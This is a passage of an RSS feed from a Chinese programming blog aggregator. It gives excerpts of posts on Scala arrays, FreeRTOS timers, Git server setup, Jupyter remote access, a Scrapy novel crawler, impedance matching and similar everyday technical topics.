      <guid>https://bchobby.github.io/posts/0dab28feb3291dee778c3f3c717a1136/</guid>
      <description>自从意识到深度学习是未来之后，自己看了相关的书籍三本，看了吴恩达和李飞飞两位神级人物的课程，配置了caffe，torch，pytorch等等开源架构，也跑了几个开源工程，却始终都感觉似懂非懂，实在是糟心。 经过了严肃认真的思考后，本人决定从最底层开始，自己写一个架构，进而可以深入了解深度学习的方方面面。 本篇作为系列文章的开篇总览，目的就是给自己挖个坑，以提醒自己要好好努力。并且也给这一系列文章定出规则，以时时回望。 因为本人最熟悉的是C++，所以会用C++实现一个架构。另外python作为机器学习的近乎官方语言，在这一系列文章中也会实现一个架构。最后，本人最喜欢pytorch架构，也会用其实现想要做的东西（分成cpu和gpu两个版本）。 因此，本系列每篇文章将涉及到的内容如下：&#xA;原理的理解（其中有可能大部分都借鉴网上优秀的博客或者书籍中的内容，因而如有雷霆，是本人抄的。但绝非不过脑子的抄，当然也会标明出处）C++实现python实现pytorch的CPU实现pytorch的GPU实现 需要说明一下的是本人自行实现的代码（也有可能借鉴别人）书写肯定受限于本人水平，几乎不可能有现成架构的效率和规范，只作为本人练习之用。工程中本人将用成熟的框架进行，这也才有了4，5点。 如果有看本人之前写的一些博文可能会觉得很多只讲实现没讲原理，那是因为相关内容本人在工程中用到于是就快速实现出来，有些原理本人也不知道。但这一系列本人将力求做到自己透彻理解，并把涉及到的原理认真仔细的整理出来。 那么预告一下下一篇，深度学习1—最简单的全连接神经网络</description>
    </item>
    <item>
      <title>Scala数组——Array/ArrayBuffer</title>
      <link>https://bchobby.github.io/posts/e33c9bf2c995d008259eca1828012334/</link>
      <pubDate>Tue, 06 Feb 2018 18:11:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e33c9bf2c995d008259eca1828012334/</guid>
      <description>1.定长数组-Array //方式一 //长度为5的整数数组，所有元素初始化为0 val ary1=new Array[Int](5) //长度为5的字符串数组，所有元素初始化为null val ary2=new Array[String](5) //方式二 //长度为2的数组，数据类型自动推断出来，已经提供初始值就不需要new关键字 val ary3= Array(&#34;zhangsan&#34;,&#34;lisi&#34;) // val ary4= Array(1 to 10 :_*); println(&#34;数组的元素：&#34;+ary1(0)) //赋值 ary1(0)=11 println(&#34;改变后数组的元素：&#34;+ary1(0)) 数组中的常用方法 val numbers = Array(1, 2, 3, 4) //声明一个数组对象 val first = numbers(0) // 读取第一个元素 numbers(3) = 100 // 替换第四个元素为100 val biggerNumbers = numbers.map(_ * 2) // 所有元素乘2 val a = Array(1,2) val b = Array(3,4) val c = a ++ b //c中的内容是(1,2,3,4) val a = Array(1, 2, 3,4,4,5,6,6) val c = a.</description>
    </item>
    <item>
      <title>mui上拉加载下拉刷新问题</title>
      <link>https://bchobby.github.io/posts/b16f7a3be6fbcac574b6d7f537a0789c/</link>
      <pubDate>Tue, 06 Feb 2018 15:06:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b16f7a3be6fbcac574b6d7f537a0789c/</guid>
      <description>mui是h5十大框架之一。很好用，但是针对不同的场景，文档的描述不够我们理解。&#xA;场景：通过mui的上拉加载更多数据，下拉刷新回刚刚进入当前页面的状态。笔者设置每次上拉就清空旧页面的内容，把新加载的10条数据渲染到页面上，当下拉时候，恢复到第一次加载的状态。&#xA;问题：当上拉加载的数据达到最多时候，通过&#xA;mui(&#39;#pullrefresh&#39;).pullRefresh().endPullupToRefresh(true) 设定不让继续上拉加载。然后当下拉刷新想要回复上拉加载，采用如下：&#xA;mui(&#39;#pullrefresh&#39;).pullRefresh().endPullupToRefresh(false); 测试发现，没办法恢复上拉加载的功能。&#xA;笔者也尝试了用：&#xA;mui(&#39;#pullup-container&#39;).pullRefresh().refresh(true); mui(&#39;#pullup-container&#39;).pullRefresh().disablePullupToRefresh(); mui(&#39;#pullup-container&#39;).pullRefresh().enablePullupToRefresh(); 来做测试。但是只有当使用禁用和启动交互时候可以恢复，但是当刷新的时候，会自动执行一次上拉加载动作。所以这些方案都被笔者废弃了。针对上面这些，笔者又尝试如何不让mui再执行刷新动作时候不自动执行一次上拉加载动作，经过研究发现如下调用启用上拉功能的代码，就不会自动执行一次上拉加载的动作：&#xA;setTimeout(&#34;enablepull&#34;,1000);//延时至少1s，小于1s就不行。 function enablepull(){ mui(&#39;#pullup-container&#39;).pullRefresh().enablePullupToRefresh(); } 上面虽然可以解决，但是笔者还是觉得不好，又尝试了一种曲线救国的方式：&#xA;设定全局变量enablepull&#xA;每次获取结果之后都判断是否还有更多数据，如果没有更多，那么enablepull=false;&#xA;这样每次上拉之前做如下判断：&#xA;if (!enablePullUp) { mui(&#39;#pullrefresh&#39;).pullRefresh().endPullupToRefresh(false); mui.toast(&#34;没有更多数据了&#34;); return; } 成功解决问题。&#xA;附上笔者关于曲线解决问题的代码：&#xA;//作者是模拟实现分页的效果，只是只做了下一页（上拉加载），和回到第一页的效果（下拉刷新） var pageNo = 1; var pageSize = 6; var enablePullUp = true; $(document).ready(function(){ mui(&#39;body&#39;).on(&#39;tap&#39;,&#39;a&#39;,function(){document.location.href=this.href;}); //上拉加载下拉刷新初始化 mui.init({ pullRefresh: { container: &#39;#pullrefresh&#39;, down: { style:&#39;circle&#39;,//必选，下拉刷新样式，目前支持原生5+ ‘circle’ 样式 color:&#39;#2BD009&#39;, //可选，默认“#2BD009” 下拉刷新控件颜色 callback: billRefresh }, up: { auto:false, contentrefresh: &#39;正在加载...&#39;, contentnomore:&#39;&#39;, callback: billLoad } }, swipeBack:true, //启用右滑关闭功能 beforeback: function(){ //返回true，继续页面关闭逻辑 return true; } }); }); /** * 上拉加载具体业务实现 */ function billLoad() { if (!</description>
    </item>
    <item>
      <title>STM32CubeMX FreeRTOS软件定时器实验</title>
      <link>https://bchobby.github.io/posts/1f335f3c1a4165c580b5aea4dd451644/</link>
      <pubDate>Mon, 05 Feb 2018 22:51:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f335f3c1a4165c580b5aea4dd451644/</guid>
      <description>系统：linux mint xfce 64bit&#xA;软件：&#xA;1、SW4STM32&#xA;2、STM32CubeMX&#xA;关于这两个软件在linux的安装教程请看我另一篇博文&#xA;Linux/Windows配置stm32免费开发环境详细流程&#xA;sw4stm32比较难下载，在此提供百度网盘链接：&#xA;链接：https://pan.baidu.com/s/1nxgh1VF 密码：rvzu&#xA;3、开发板：STM32F407VET6核心&#xA;FreeRTOS软件定时器特点：&#xA;（1）是RTOS的一个组件&#xA;（2）可以用来扩展STM32的定时器&#xA;（3）不是很精确，但可以用作处理循环事件或者延时事件&#xA;（4）两种模式，periodic和one pulse&#xA;使用STM32CubeMX配置FreeRTOS的话，API是CMSIS_RTOS标准的，也就是进行了封装，下表给出了一些对应关系&#xA;对于软件定时器的操作请看下图&#xA;下面介绍一下使用STM32CubeMX配置FreeRTOS软件定时器的例子,使用到了以上几个函数，参考资料在文末。&#xA;配置RCC（外部晶振8M），SYS（systick设置为TIM4），LED灯所在引脚，串口1（用来打印输出信息）&#xA;配置时钟，选择外部晶振，HCLK输入168会自动寻找配置&#xA;在Configuration 里选择FreeRTOS ，FreeRTOS使能软件定时器&#xA;添加软件定时器，模式选择周期性&#xA;生成sw4stm32工程，记得在代码生成设置里面勾选为每个外设生成独立的.c/.h 文件&#xA;修改main.c文件里的内容，第一步是串口重定向，添加下列代码到相关位置&#xA;7. 修改freertoc.c内容，主要修改两处，一处是任务函数StartDefaultTask，一处是软件定时器的回调函数Callback01&#xA;（吐槽CSDN，本来想传代码的，无奈CSDN博客转换为代码格式有问题，会和前面的代码结合在一起，造成错乱，对于有强迫症的我来说就只上传图片了）&#xA;烧写程序验证 参考资料:STM32F4-and-FreeRTOS&#xA;链接: https://pan.baidu.com/s/1i7d8doT 密码: hiuv&#xA;相对应的视频介绍请查看：https://www.bilibili.com/video/av63560586</description>
    </item>
    <item>
      <title>如何在服务器上搭建Git版本仓库（干货）</title>
      <link>https://bchobby.github.io/posts/fb4da1fe49f77d7a398784cc0127d335/</link>
      <pubDate>Mon, 05 Feb 2018 07:08:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb4da1fe49f77d7a398784cc0127d335/</guid>
      <description>一、搭建思想（很重要！！！） 主要分为两个方面，Git仓库和项目库（图用的画图工具画的，太low了.......）&#xA;1、你需要在你服务器上拥有一个Git仓库（提供者）&#xA;2、本地仓库、你的服务器项目仓库、或者其他服务器仓库（实际使用者），开发或者上线的库&#xA;二、搭建过程 我的服务器是：CentOS6.*版本（7.0以上有改动不知道好使不，大家可以踩一下坑）&#xA;1、服务器安装git&#xA;# yum install -y git 复制代码 执行命令之后，可以查看一下版本 $ git --version复制代码 [root@iZ2zeftluibm3hesz36v3tZ ~]# git --version git version 1.7.1 复制代码 2、安装完成之后需要在服务器上创建用户进行Git仓库管理，并设置密码（我设置的为git名称的用户）&#xA;查看一下有没有git这个用户&#xA;[root@iZ2zeftluibm3hesz36v3tZ ~]# id git 复制代码 添加git这个用户&#xA;[root@iZ2zeftluibm3hesz36v3tZ ~]# useradd git 复制代码 为git用户设置密码&#xA;passwd git 复制代码 3、核心，现在你需要在你的服务器上选择某一个目录作为你的版本库存放地址&#xA;OK，那我们现在首先创建一个仓库的目录&#xA;[root@iZ2zeftluibm3hesz36v3tZ home]# mkdir -p test/git 复制代码 然后可以在这个目录下创建你新建的项目地址&#xA;[root@iZ2zeftluibm3hesz36v3tZ git]# mkdir -p aa.git 复制代码 创建完成之后看一下&#xA;[root@iZ2zeftluibm3hesz36v3tZ git]# ll total 12 drwxr-xr-x 2 root root 4096 Feb 2 15:04 aa.</description>
    </item>
    <item>
      <title>三点确定圆的半径_51CAE_新浪博客</title>
      <link>https://bchobby.github.io/posts/a39f89a6d806c13b1dcd78bbad73b7d3/</link>
      <pubDate>Sun, 04 Feb 2018 21:55:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a39f89a6d806c13b1dcd78bbad73b7d3/</guid>
      <description>近日通过CAE软件分析弹性体折叠过程中的半径变化趋势，已经从分析结果文件中提取了弯折区域三点的运动轨迹，设想将弯折区域近似为圆弧并通过三点计算得出圆的半径。经网上查找一翻，发现一篇博客有比较详细的计算公式，由于不能直接转载，在此记录一篇作为笔记。为向原作者示敬，附上原作链接如下：http://blog.csdn.net/liyuanbhu/article/details/52891868&#xA;我们设一个圆的圆心坐标为 （x0，y0），半径为 r。那么这个圆的方程可以写为：&#xA;取圆上任意三点，设这三个点的坐标分别是 （x1，y1），（x2，y2），（x3，y3）。由于圆弧上所有点到圆心距离均为半径，那么有：&#xA;​公式（1）（2）相减，（1）（3）相减之后经过化简可以得到： x0，y0有唯一解的条件是系数行列式不为 0： 简单变变型也就是： 上式的几何意义即：三点不能共线。&#xA;设：&#xA;​那么 : 有了x0和y0的值后，带入（1） 式就可以得到半径 r 的值。至此，三点确定圆的问题就解决了。&#xA;好了，有了以上理论以及计算公式，利用 Python 读入CAE软件计算得到的圆弧上三个点的运动轨迹，即可得到折叠过程中半径r的变化趋势了。&#xA;​&#xA;​</description>
    </item>
    <item>
      <title>Dubbo定义的元素注册到Spring容器的原理解析</title>
      <link>https://bchobby.github.io/posts/4865f77585a27fb9a6642b07c7d462b3/</link>
      <pubDate>Sun, 04 Feb 2018 15:31:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4865f77585a27fb9a6642b07c7d462b3/</guid>
      <description>Spring对第三方自定义元素配置的支持 Spring中bean的定义可以通过编程，可以定义在properties文件，也可以定义在通过xml文件中，用的最多的是通过xml形式，由于xml格式具有很好的自说明便于编写及维护。对于xml的文档结构、数据定义及格式验证可以通过DTD和Schema， 在spring2.0之前采用的是DTD，在spring2.0之后采用Schema。使用Schema方式使得spring更加便于与第三方进行集成以及第三方可以提供更简单更便于使用的个性化配置方式。 对于XmlSchema,有个重要的概念命名空间(namespace)必须要提一下，spring就是利用它来做第三方自定配置格式的解析的，在spring中aop, transaction的就是一个实现自己自定义配置很好实例。 如上图：xmlns=http://www.springframework.org/schema/beans是默认命名空间 xmlns:aop=http://www.springframework.org/schema/aop 定义的aop的命名空间 xmlns:tx=”http://www.springframework.org/schema/tx” 定义了事物的命名空间spring通过schema方式来解析配置文件的基本原理： 类DefaultBeanDefinitionDocumentReader会把spring的xml配置文件当做一个文档格式来读取。 每读取一个元素节点都会判断下这个元素的命名空间，如果是默认命名空间（http://www.springframework.org/schema/beans）则按默认方式读取bean的定义。如果不是如namespaceUri如下： http://www.springframework.org/schema/aop, http://www.springframework.org/schema/tx, http://code.alibabatech.com/schema/dubbo 则走解析自定义元素流程。根据命名空间去获取具体的处理器NamespaceHandler DefaultNamespaceHandlerResolver类传了key为namespaceUri，在类中有个Map存储类所有的自定义NamespaceHandler，这个Map中的值是通过工具类PropertiesLoaderUtils加载所有在”META-INF/spring.handlers”中的值 解析Dubbo自定义的元素到注册Spring容器中 DubboNamespaceHandler中注册了这么多的BeanDefinitionParser用来解析dubbo定义的那些xml元素节点如：&#xA;&amp;lt;dubbo:application name=&#34;dubbo-admin&#34; /&amp;gt; &amp;lt;dubbo:registry address=&#34;${dubbo.registry.address}&#34; check=&#34;false&#34;file=&#34;false&#34; /&amp;gt; &amp;lt;dubbo:reference id=&#34;registryService&#34;interface=&#34;com.alibaba.dubbo.registry.RegistryService&#34;check=&#34;false&#34; /&amp;gt; &amp;lt;dubbo:reference id=&#34;demoService&#34;interface=&#34;com.alibaba.dubbo.demo.DemoService&#34; /&amp;gt; &amp;lt;dubbo:service interface=&#34;com.alibaba.dubbo.demo.DemoService&#34;ref=&#34;demoService&#34; /&amp;gt; 各个BeanDefinitionParser会把上面的xml元素转换成spring内部的数据结构BeanDefinition，最终当被引用时实例化成对应的bean如&amp;lt;dubbo:application/&amp;gt;节点得到ApplicationConfig。当然通过默认配置方式也是可以的如：&#xA;&amp;lt;dubbo:registry address=&#34;${dubbo.registry.address}&#34; check=&#34;false&#34;file=&#34;false&#34; /&amp;gt; 也可以配置成&#xA;&amp;lt;bean id=&#34;registry&#34; class=&#34;com.alibaba.dubbo.config.RegistryConfig&#34;/&amp;gt; &amp;lt;property name=&#34;address&#34; value=&#34;${dubbo.registry.address}&#34;/&amp;gt; &amp;lt;property name=&#34;check&#34; value=&#34;false&#34;/&amp;gt; &amp;lt;property name=&#34;file&#34; value=&#34;false&#34;/&amp;gt; &amp;lt;bean/&amp;gt; 利用自定义元素解析更加简洁，同时也可以屏蔽一些具体的实现类型，如你不需要知道com.alibaba.dubbo.config.RegistryConfig这个类，只需要知道注册registry这个元素就可以了，用户可以通过文档以及schema的在ide中的自动提示可以很方便的去配置。</description>
    </item>
    <item>
      <title>Jupyter notebook访问远程服务器</title>
      <link>https://bchobby.github.io/posts/ef2f121f6b464aa99a6da56b3679d449/</link>
      <pubDate>Sun, 04 Feb 2018 10:17:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef2f121f6b464aa99a6da56b3679d449/</guid>
      <description>Jupyter notebook访问远程服务器 Jupyter notebook安装 学校服务器无法使用sudo。如果直接pip安装报错。可以使用以下方法安装：&#xA;首先确保安装python3、pip&#xA;激活某一virtualenv环境或者conda环境&#xA;# python3 python3 -m pip install --upgrade pip python3 -m pip install jupyter # python2 python -m pip install --upgrade pip python -m pip install jupyter安装成功。终端输入jupyter notebook测试&#xA;配置Jupyter notebook 进入python环境&#xA;导入设定密码模块&#xA;&amp;gt;&amp;gt;&amp;gt;from notebook.auth import passwd # 生成密码 &amp;gt;&amp;gt;&amp;gt;passswd() # 输入密码，并且验证输入密码 # 输入两次之后，会生成一个加密字符串，将其复制下来 # 退出python环境 编辑jupyter的配置文件。查看用户目录 ~/.jupyter 路径下是否存在 jupyter_notebook_config.py 文件。若不存在，使用&#xA;jupyter notebook --generate-config产生此文件。编辑此文件，写入&#xA;c.NotebookApp.ip = &#39;*&#39; # 允许访问此服务器的 IP，星号表示任意 IP c.NotebookApp.password = u&#39;sha1:xxx:xxx&#39; # 之前生成的密码 hash 字串 c.</description>
    </item>
    <item>
      <title>牛客Wannafly挑战赛9</title>
      <link>https://bchobby.github.io/posts/25d2352dda487aca2944cd9b1d19c6de/</link>
      <pubDate>Sat, 03 Feb 2018 09:17:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25d2352dda487aca2944cd9b1d19c6de/</guid>
      <description>A：给定n个正整数，请找出其中有多少个数x满足：在这n个数中存在数y=kx，其中k为大于1的整数&#xA;代码：&#xA;#include &amp;lt;bits/stdc++.h&amp;gt; using namespace std; int z, n, v[1000020]; int main() { scanf(&#34;%d&#34;, &amp;amp;n); for (int i = 0; i &amp;lt; n; i++) { int x; scanf(&#34;%d&#34;, &amp;amp;x); v[x]++; } for (int i = 1; i &amp;lt;= 1000000; i++) { for (int j = i + i; j &amp;lt;= 1000000; j += i) { if (v[j] &amp;gt; 0) { z += v[i]; break; } } } printf(&#34;%d\n&#34;, z); }每次i+i这样增速度肯定快！！吸取这种方法的好处。 c:c题是第一次尝试用大数，但是要打表才行。否则的话超时或者存不了。</description>
    </item>
    <item>
      <title>Go踩坑之 time.Parse: month out of range</title>
      <link>https://bchobby.github.io/posts/761379cecbd1df4b5f12aabc9a91ae19/</link>
      <pubDate>Fri, 02 Feb 2018 20:22:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/761379cecbd1df4b5f12aabc9a91ae19/</guid>
      <description> 在用Go语言对时间字符串进行parse的时候，经过 试验，“2016-12-25 00:00:00”这种格式是可以的， “2016-12-25“这种格式在试验的时候可以，然而在某些情况却会报错，比如说 当parse”2018-01-28”的时候，就会报 “month out of range”.&#xA;原因不清楚，需要继续看源码研究，所以以后parse的时候，使用time模块自带的那几种格式，和“2016-12-25 00:00:00”这种格式都是ok的, 如下。&#xA;time.Parse(&#34;2016-12-25 00:00:00&#34;, timeStr) </description>
    </item>
    <item>
      <title>Python网络爬虫（九）：爬取顶点小说网站全部小说，并存入MongoDB</title>
      <link>https://bchobby.github.io/posts/cac86d5cd2cf024f9cd88cd93aefdeae/</link>
      <pubDate>Fri, 02 Feb 2018 19:44:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cac86d5cd2cf024f9cd88cd93aefdeae/</guid>
      <description>前言：本篇博客将爬取顶点小说网站全部小说、涉及到的问题有：Scrapy架构、断点续传问题、Mongodb数据库相关操作。 背景： Python版本：Anaconda3&#xA;运行平台：Windows&#xA;IDE：PyCharm&#xA;数据库：MongoDB&#xA;浏览器工具： Chrome浏览器&#xA;前面的博客中已经对Scrapy作了相当多的介绍所以这里不再对Scrapy技术作过多的讲解。 一、爬虫准备工作： 此次我们爬取的是免费小说网站：顶点小说 http://www.23us.so/ 我们要想把它全部的小说爬取下来，是不是得有全部 小说的链接？ 我们看到顶点小说网站上有一个总排行榜。 点击进入后我们看到，这里有网站上所有的小说，一共有1144页，每页大约20本小说，算下来一共大约有两万两千多本，是一个庞大的数据量，并且小说的数量还在不断的增长中。 好！我们遇到了第一个问题，如何获取总排行榜中的页数呢？也就是现在的“1144”。 1、获取排行榜页面数： 最好的方法就是用Xpath。 我们先用F12审查元素，看到“1144”放在了“id”属性为“pagestats”的em节点中。 我们再用Scrapy Shell分析一下网页。 注意：Scrapy Shell是一个非常好的工具，我们在编写爬虫过程中，可以用它不断的测试我们编写的Xpath语句，非常方便。 输入命令： scrapy shell &#34;http://www.23us.so/top/allvisit_2.html&#34; 然后就进入了scrapy shell 因为页数放在“id”属性为“pagestats”的em节点中，所以我们可以在shell中输入如下指令获取。 response.xpath(&#39;//*[@id=&#34;pagestats&#34;]/text()&#39;).extract_first() 我们可以看到，Xpath一如既往的简单高效，页面数已经被截取下来了。&#xA;2、获取小说主页链接、小说名称： 接下来，我们遇到新的问题，如何获得每个页面上的小说的链接呢？我们再来看页面的HTML代码。 小说的链接放在了“a”节点里，而且这样的a节点区别其他的“a”节点的是，没有“title”属性。 所以我们用shell测试一下，输入命令： response.xpath(&#39;//td/a[not(@title)]/@href&#39;).extract() 我们看到，小说的链接地址我们抓到了。&#xA;同样还有小说名， response.xpath(&#39;//td/a[not(@title)]/text()&#39;).extract() 我们可以看到页面上的小说名称我们也已经抓取到了。&#xA;3、获取小说详细信息： 我们点开页面上的其中一个小说链接： 这里有小说的一些相关信息和小说章节目录的地址。 我们想要的数据首先是小说全部章节目录的地址，然后是小说类别、小说作者、小说状态、小说最后更新时间。 我们先看小说全部章节目录的地址。用F12，我们看到： 小说全部章节地址放在了“class”属性为“btnlinks”的“p”节点的第一个“a”节点中。 我们还是用scrapy shell测试一下我们写的xpath语句。 键入命令，进入shell界面 scrapy shell &#34;http://www.23us.so/xiaoshuo/13007.html&#34; 在shell中键入命令： response.xpath(&#39;//p[@class=&#34;btnlinks&#34;]/a[1]/@href&#39;).extract_first() 小说的章节目录页面我们已经截取下来了。&#xA;类似的还有小说类别、小说作者、小说状态、小说最后更新时间，命令分别是： #小说类别 response.xpath(&#39;//table/tr[1]/td[1]/a/text()&#39;).extract_first() #小说作者 response.xpath(&#39;//table/tr[1]/td[2]/text()&#39;).extract_first() #小说状态 response.xpath(&#39;//table/tr[1]/td[3]/text()&#39;).extract_first() #小说最后更新时间 response.xpath(&#39;//table/tr[2]/td[3]/text()&#39;).extract_first() 4、获取小说全部章节： 我们点开“最新章节”，来到小说全部章节页面。 我们如何获得这些链接呢？答案还是Xpath。 用F12看到，各章节地址和章节名称放在了一个“table”中： 退出上次的scrapy shell ,分析 全部章节页面。</description>
    </item>
    <item>
      <title>什么是阻抗匹配以及为什么要阻抗匹配</title>
      <link>https://bchobby.github.io/posts/bcf8fa92c1d62fe999a6cd9417cbe1b9/</link>
      <pubDate>Thu, 01 Feb 2018 14:40:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bcf8fa92c1d62fe999a6cd9417cbe1b9/</guid>
      <description>本文转自滤波器&#xA;引言 阻抗匹配在高频设计中是一个常用的概念，这篇文章对这个“阻抗匹配”进行了比较好的解析。回答了什么是阻抗匹配。&#xA;阻抗匹配(Impedance matching)是微波电子学里的一部分，主要用于传输线上，来达至所有高频的微波信号皆能传至负载点的目的，不会有信号反射回来源点，从而提升能源效益。&#xA;大体上，阻抗匹配有两种，一种是透过改变阻抗力(lumped-circuit matching)，另一种则是调整传输线的波长(transmission line matching)。&#xA;要匹配一组线路，首先把负载点的阻抗值，除以传输线的特性阻抗值来归一化，然后把数值划在史密夫图表上。关于史密斯图表，可以参考这一片个人认为讲的还不错的文章史上最经典的史密斯圆图讲解。&#xA;改变阻抗力 把电容或电感与负载串联起来，即可增加或减少负载的阻抗值，在图表上的点会沿著代表实数电阻的圆圈走动。如果把电容或电感接地，首先图表上的点会以图中心旋转180度，然后才沿电阻圈走动，再沿中心旋转180度。重覆以上方法直至电阻值变成1，即可直接把阻抗力变为零完成匹配。&#xA;调整传输线 由负载点至来源点加长传输线，在图表上的圆点会沿著图中心以逆时针方向走动，直至走到电阻值为1的圆圈上，即可加电容或电感把阻抗力调整为零，完成匹配。&#xA;阻抗匹配则传输功率大，对于一个电源来讲，单它的内阻等于负载时，输出功率最大，此时阻抗匹配。最大功率传输定理，如果是高频的话，就是无反射波。对于普通的宽频放大器，输出阻抗50Ω，功率传输电路中需要考虑阻抗匹配，可是如果信号波长远远大于电缆长度，即缆长可以忽略的话，就无须考虑阻抗匹配了。阻抗匹配是指在能量传输时，要求负载阻抗要和传输线的特征阻抗相等，此时的传输不会产生反射，这表明所有能量都被负载吸收了.反之则在传输中有能量损失。高速 PCB布线时，为了防止信号的反射，要求是线路的阻抗为50欧姆。这是个大约的数字，一般规定同轴电缆基带50欧姆，频带75欧姆，对绞线则为100欧姆，只是取个整而已，为了匹配方便。&#xA;阻抗从字面上看就与电阻不一样，其中只有一个阻字是相同的，而另一个抗字呢？简单地说，阻抗就是电阻加电抗，所以才叫阻抗；周延一点地说，阻抗就是电阻、电容抗及电感抗在向量上的和。在直流电的世界中，物体对电流阻碍的作用叫做电阻，世界上所有的物质都有电阻，只是电阻值的大小差异而已。电阻小的物质称作良导体，电阻很大的物质称作非导体，而最近在高科技领域中称的超导体，则是一种电阻值几近于零的东西。但是在交流电的领域中则除了电阻会阻碍电流以外，电容及电感也会阻碍电流的流动，这种作用就称之为电抗，意即抵抗电流的作用。电容及电感的电抗分别称作电容抗及电感抗，简称容抗及感抗。它们的计量单位与电阻一样是欧姆，而其值的大小则和交流电的频率有关系，频率愈高则容抗愈小感抗愈大，频率愈低则容抗愈大而感抗愈小。此外电容抗和电感抗还有相位角度的问题，具有向量上的关系式，因此才会说：阻抗是电阻与电抗在向量上的和。&#xA;阻抗匹配是指负载阻抗与激励源内部阻抗互相适配，得到最大功率输出的一种工作状态。对于不同特性的电路，匹配条件是不一样的。&#xA;在纯电阻电路中，当负载电阻等于激励源内阻时，则输出功率为最大，这种工作状态称为匹配，否则称为失配。&#xA;当激励源内阻抗和负载阻抗含有电抗成份时，为使负载得到最大功率，负载阻抗与内阻必须满足共扼关系，即电阻成份相等，电抗成份只数值相等而符号相反。这种匹配条件称为共扼匹配。&#xA;一、阻抗匹配的研究 在高速的设计中，阻抗的匹配与否关系到信号的质量优劣。阻抗匹配的技术可以说是丰富多样，但是在具体的系统中怎样才能比较合理的应用，需要衡量多个方面的因素。例如我们在系统中设计中，很多采用的都是源段的串连匹配。对于什么情况下需要匹配，采用什么方式的匹配，为什么采用这种方式。&#xA;例如：差分的匹配多数采用终端的匹配；时钟采用源段匹配；&#xA;1、串联终端匹配 串联终端匹配的理论出发点是在信号源端阻抗低于传输线特征阻抗的条件下，在信号的源端和传输线之间串接一个电阻R，使源端的输出阻抗与传输线的特征阻抗相匹配，抑制从负载端反射回来的信号发生再次反射.&#xA;串联终端匹配后的信号传输具有以下特点：&#xA;A 由于串联匹配电阻的作用，驱动信号传播时以其幅度的50%向负载端传播；&#xA;B 信号在负载端的反射系数接近+1，因此反射信号的幅度接近原始信号幅度的50%。&#xA;C 反射信号与源端传播的信号叠加，使负载端接受到的信号与原始信号的幅度近似相同；&#xA;D 负载端反射信号向源端传播，到达源端后被匹配电阻吸收；&#xA;E 反射信号到达源端后，源端驱动电流降为0，直到下一次信号传输。&#xA;相对并联匹配来说，串联匹配不要求信号驱动器具有很大的电流驱动能力。&#xA;选择串联终端匹配电阻值的原则很简单，就是要求匹配电阻值与驱动器的输出阻抗之和与传输线的特征阻抗相等。理想的信号驱动器的输出阻抗为零，实际的驱动器总是有比较小的输出阻抗，而且在信号的电平发生变化时，输出阻抗可能不同。比如电源电压为+4.5V的CMOS驱动器，在低电平时典型的输出阻抗为 37Ω，在高电平时典型的输出阻抗为45Ω[4]；TTL驱动器和CMOS驱动一样，其输出阻抗会随信号的电平大小变化而变化。因此，对TTL或CMOS 电路来说，不可能有十分正确的匹配电阻，只能折中考虑。&#xA;链状拓扑结构的信号网路不适合使用串联终端匹配，所有的负载必须接到传输线的末端。否则，接到传输线中间的负载接受到的波形就会象图3.2.5中C点的电压波形一样。可以看出，有一段时间负载端信号幅度为原始信号幅度的一半。显然这时候信号处在不定逻辑状态，信号的噪声容限很低。&#xA;串联匹配是最常用的终端匹配方法。它的优点是功耗小，不会给驱动器带来额外的直流负载，也不会在信号和地之间引入额外的阻抗；而且只需要一个电阻元件。&#xA;2、并联终端匹配 并联终端匹配的理论出发点是在信号源端阻抗很小的情况下，通过增加并联电阻使负载端输入阻抗与传输线的特征阻抗相匹配，达到消除负载端反射的目的。实现形式分为单电阻和双电阻两种形式。&#xA;并联终端匹配后的信号传输具有以下特点：&#xA;A 驱动信号近似以满幅度沿传输线传播；&#xA;B 所有的反射都被匹配电阻吸收；&#xA;C 负载端接受到的信号幅度与源端发送的信号幅度近似相同。&#xA;在实际的电路系统中，芯片的输入阻抗很高，因此对单电阻形式来说，负载端的并联电阻值必须与传输线的特征阻抗相近或相等。假定传输线的特征阻抗为50Ω，则R值为50Ω。如果信号的高电平为5V，则信号的静态电流将达到100mA。由于典型的TTL或CMOS电路的驱动能力很小，这种单电阻的并联匹配方式很少出现在这些电路中。&#xA;双电阻形式的并联匹配，也被称作戴维南终端匹配，要求的电流驱动能力比单电阻形式小。这是因为两电阻的并联值与传输线的特征阻抗相匹配，每个电阻都比传输线的特征阻抗大。考虑到芯片的驱动能力，两个电阻值的选择必须遵循三个原则：&#xA;（1）. 两电阻的并联值与传输线的特征阻抗相等；&#xA;（2）. 与电源连接的电阻值不能太小，以免信号为低电平时驱动电流过大；&#xA;（3）. 与地连接的电阻值不能太小，以免信号为高电平时驱动电流过大。&#xA;并联终端匹配优点是简单易行；显而易见的缺点是会带来直流功耗：单电阻方式的直流功耗与信号的占空比紧密相关；双电阻方式则无论信号是高电平还是低电平都有直流功耗。因而不适用于电池供电系统等对功耗要求高的系统。另外，单电阻方式由于驱动能力问题在一般的TTL、CMOS系统中没有应用，而双电阻方式需要两个元件，这就对PCB的板面积提出了要求，因此不适合用于高密度印刷电路板。&#xA;当然还有：AC终端匹配； 基于二极管的电压钳位等匹配方式。&#xA;二、将讯号的传输看成软管送水浇花 2.1 数位系统之多层板讯号线(Signal Line)中，当出现方波讯号的传输时，可将之假想成为软管(hose)送水浇花。一端于手握处加压使其射出水柱，另一端接在水龙头。当握管处所施压的力道恰好，而让水柱的射程正确洒落在目标区时，则施与受两者皆欢而顺利完成使命，岂非一种得心应手的小小成就?&#xA;2.2 然而一旦用力过度水注射程太远，不但腾空越过目标浪费水资源，甚至还可能因强力水压无处宣泄，以致往来源反弹造成软管自龙头上的挣脱!不仅任务失败横生挫折，而且还大捅纰漏满脸豆花呢!&#xA;2.3 反之，当握处之挤压不足以致射程太近者，则照样得不到想要的结果。过犹不及皆非所欲，唯有恰到好处才能正中下怀皆大欢喜。</description>
    </item>
    <item>
      <title>Finding Lane Lines on the Road</title>
